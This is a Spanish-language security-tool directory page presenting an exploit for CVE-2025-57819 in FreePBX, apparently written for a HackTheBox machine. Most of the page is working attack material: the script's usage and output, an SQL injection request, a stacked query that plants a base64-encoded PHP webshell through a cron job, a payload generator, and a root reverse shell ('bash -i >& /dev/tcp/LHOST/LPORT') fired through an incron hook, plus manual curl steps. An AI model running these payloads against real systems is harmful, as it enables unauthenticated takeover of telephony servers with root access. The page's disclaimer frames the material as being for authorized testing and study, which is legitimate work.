Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/yuvrajshad/freepbx-cve-2025-57819
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlRed TeamingDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
yuvrajshad/freepbx-cve-2025-57819

FreePBX-CVE-2025-57819

Inyección SQL no autenticada a Ejecución Remota de Código en FreePBX — CVE-2025-57819

Ver Repositorio
115hace 3 mesesAún no revisado

FreePBX CVE-2025-57819 — SQLi no autenticado a RCE como root

Gravedad: Crítica
Tipo: Inyección SQL no autenticada → Ejecución remota de código
Software afectado: FreePBX (módulo endpoint)
Probado en: FreePBX en CentOS 7, Apache 2.4, PHP 7.4, MariaDB 5.5

Resumen

Existe una vulnerabilidad de inyección SQL no autenticada en el módulo endpoint de FreePBX a través del parámetro brand en /admin/ajax.php. No se requieren credenciales para explotar esta vulnerabilidad.

Combinado con el mecanismo interno de trabajos cron de FreePBX y el sistema de hooks incron/fwconsole, esto conduce a un shell root completo sin autenticación.

Cadena de ataque

root@kitploit:~
[No Auth Required]
        │
        ▼
Unauthenticated SQL Injection
(/admin/ajax.php → brand parameter)
        │
        ├──► Extract DB credentials, user hashes
        │
        ├──► INSERT into cron_jobs
        │         │
        │         └──► PHP webshell dropped in web root
        │                   │
        │                   └──► RCE as asterisk (user flag)
        │
        └──► Write incron trigger file (as asterisk)
                  │
                  └──► sysadmin_manager fires as root
                            │
                            └──► fwconsole hook → Root Shell

Uso

root@kitploit:~
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>

Ejemplo:

root@kitploit:~
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999

Salida:

root@kitploit:~
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version  : 5.5.65-MariaDB
[+] DB User  : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!

Cómo funciona

Etapa 1 — Inyección SQL

El parámetro brand en el controlador AJAX del módulo endpoint se pasa directamente a una consulta SQL sin sanitización:

root@kitploit:~
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
    &command=model&template=x&model=model
    &brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

Esto devuelve el nombre de la base de datos dentro de un error XPATH, una técnica clásica de SQLi basada en errores. También se admiten consultas apiladas, lo que permite operaciones INSERT, UPDATE y DELETE.

Etapa 2 — Webshell vía Cron

Usando consultas apiladas, se inserta un trabajo cron en la tabla cron_jobs de FreePBX:

root@kitploit:~
INSERT INTO cron_jobs 
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES 
  ('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
   NULL, '* * * * *', 30, 1, 1)

El ejecutor cron de FreePBX ejecuta esto cada minuto, colocando un webshell PHP en la raíz web.

Etapa 3 — Root vía Incron + hook fwconsole

incrond vigila /var/spool/asterisk/incron/ (escribible por el usuario asterisk). Cuando se crea un archivo allí, se activa /usr/bin/sysadmin_manager como root.

El formato del nombre de archivo api.fwconsole-commands.<payload> se asigna a un hook prefirmado con GPG existente en:

root@kitploit:~
/var/www/html/admin/modules/api/hooks/fwconsole-commands

El hook decodifica el nombre del archivo como un payload base64(zlib(json([cmd, txn_id]))) y ejecuta:

root@kitploit:~
$cmd = "/usr/sbin/fwconsole $command 2>&1";

Usando help; como prefijo se satisface a fwconsole como un comando válido, y el ; encadena comandos arbitrarios del shell:

root@kitploit:~
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Esto se ejecuta como root, dando un shell root completo.

Explotación manual

Paso 1 — Verificar SQLi

root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"

Paso 2 — Colocar Webshell

root@kitploit:~
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"

Paso 3 — Generar payload root

root@kitploit:~
# Save to file to avoid shell quoting issues
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
    zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py

Paso 4 — Disparar shell root

root@kitploit:~
# On the target (as asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"

Hallazgos clave durante el análisis

Cronología de divulgación

FechaEvento
2025Vulnerabilidad descubierta y reportada
2025-11-30Máquina desplegada en HackTheBox
2025CVE-2025-57819 asignado

Descargo de responsabilidad

Esta herramienta es solo para fines educativos y pruebas de seguridad autorizadas. No la uses contra sistemas para los que no tengas permiso explícito para probar. El autor no se responsabiliza por cualquier uso indebido.

Referencias

  • PoC de watchTowr Labs
  • Aviso de seguridad de FreePBX
  • Detalle de CVE-2025-57819
Descargar herramienta
HallazgoDetalle
Base de datosasterisk (MariaDB 5.5.65)
Usuario de BDfreepbxuser@localhost
Usuario webasterisk (uid=999)
Tabla cronescribible vía SQLi
Directorio incron/var/spool/asterisk/incron/ (escribible por asterisk)
Escalada de privilegiosEl hook fwconsole se ejecuta como root vía incrond
Método rootDisparador Incron → hook fwconsole firmado → inyección de comandos